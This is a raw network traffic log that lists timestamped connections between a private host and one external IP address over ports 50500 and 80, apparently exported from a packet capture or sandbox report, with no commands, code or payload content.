Apr 21, 2024 15:31:15.334042072 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:15.396770954 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:15.670027018 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:15.724750996 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:15.724848032 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:16.019438982 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:16.082125902 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:16.130882025 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:17.883500099 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:17.888242006 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.129798889 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.130057096 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.195894957 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.371427059 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371480942 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371505976 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.371515989 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371556997 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.371576071 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.371661901 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371695995 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371706009 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371717930 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371728897 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.371746063 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.371778965 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.371803999 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.443550110 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.443706036 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.443950891 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.612561941 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.612624884 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.612682104 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.612693071 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.612771034 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.612869978 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.612881899 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.612935066 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.612940073 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.612945080 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.613060951 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.613071918 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.613143921 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.613219023 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.613360882 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.613425970 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.613435984 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.613445044 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.613508940 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.613545895 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.613584995 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.696966887 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.697093010 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.698138952 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.853627920 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.853744030 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.853844881 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.853854895 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.853863955 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.853905916 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.853908062 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.853949070 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.853962898 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.853971958 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854022026 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854130030 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854180098 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854186058 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854190111 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854203939 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854232073 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854244947 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854260921 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854322910 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854373932 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854424000 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854456902 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854466915 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854475021 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854516029 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854532957 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854649067 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854657888 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854688883 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854696035 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854707956 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854732037 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854743958 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854753971 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854801893 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854929924 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854938984 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854983091 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.854985952 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.854999065 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.855009079 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.855017900 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.855055094 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.855057001 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.855067968 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.855079889 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.855115891 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.855168104 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.947947979 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948024035 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.948599100 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948612928 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948648930 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.948683977 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.948717117 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948729992 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948740005 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948750973 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948760986 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948767900 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.948770046 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948781013 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948790073 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:18.948812008 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.948812008 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:18.948846102 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095181942 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095236063 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095263958 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095271111 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095304966 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095309973 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095341921 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095365047 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095379114 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095408916 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095416069 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095434904 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095470905 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095520020 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095561981 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095572948 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095582962 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095602036 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095621109 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095638990 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095684052 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095710993 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095747948 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095762014 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095774889 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.095803976 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095833063 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.095856905 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096165895 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096178055 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096188068 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096200943 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096206903 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096213102 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096237898 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096251965 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096283913 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096308947 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096333027 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096358061 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096508980 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096613884 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096626043 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096642017 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096700907 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096714020 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.096834898 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.096905947 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097004890 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.097055912 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097067118 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097135067 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.097165108 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097235918 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.097265005 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097390890 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097470045 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.097485065 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097498894 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097549915 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097559929 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.097590923 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097600937 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097722054 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.097732067 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196273088 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196290970 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196305990 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196326971 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196341038 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196341038 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196355104 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196367979 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196379900 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196393013 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196393013 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196393013 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196407080 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196413994 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196419001 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196433067 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196444035 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196446896 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196460962 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196470976 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196474075 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196489096 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196487904 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196506977 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196506977 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196521997 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196525097 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196535110 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196548939 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.196547985 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196600914 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.196600914 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.336627007 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.336872101 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.336885929 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.336896896 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.336908102 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.336919069 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.336929083 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.336939096 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337064981 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337076902 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337088108 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337265968 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337300062 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337311029 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337409019 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337419987 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337665081 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337702990 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337713957 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337723970 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337896109 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337908030 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337917089 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337928057 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.337938070 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338076115 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338093042 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338103056 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338113070 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338171005 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338182926 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338275909 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338289022 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338299036 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338439941 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338577986 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338588953 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338598967 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338679075 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338690042 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338882923 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.338893890 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339035034 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339045048 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339056015 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339066029 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339076042 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339104891 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339117050 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339127064 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339265108 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339442015 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339502096 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339513063 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339521885 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339617968 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339627981 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339637995 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339648008 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339658022 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339668036 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339751005 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339761972 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339771986 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339782000 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339792013 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.339905977 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340046883 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340058088 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340068102 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340078115 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340162992 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340174913 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340184927 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340291023 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340383053 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340570927 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340581894 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340591908 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340642929 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340653896 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340774059 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340785027 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340858936 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.340965033 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.341139078 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.341150045 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.341159105 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.341238976 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.341249943 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.341259003 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.341269016 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443617105 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443634987 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443675041 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443687916 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443701029 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443697929 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.443698883 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.443711996 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443726063 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443737984 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443749905 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443766117 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.443766117 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.443766117 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.443954945 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443968058 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443980932 CEST	80	49740	193.233.132.253	192.168.2.4
